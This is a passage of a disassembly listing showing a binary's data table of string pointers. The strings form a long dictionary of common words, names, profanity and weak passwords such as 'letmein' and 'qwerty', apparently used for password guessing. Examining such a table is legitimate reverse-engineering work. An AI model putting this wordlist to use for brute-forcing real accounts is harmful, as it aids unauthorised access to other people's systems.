		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail_0	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
off_430050	dd offset aOffice	; DATA XREF: ___:0042606Co
					; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
off_43005C	dd offset aOlivetti	; DATA XREF: ___:off_425F08o
					; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
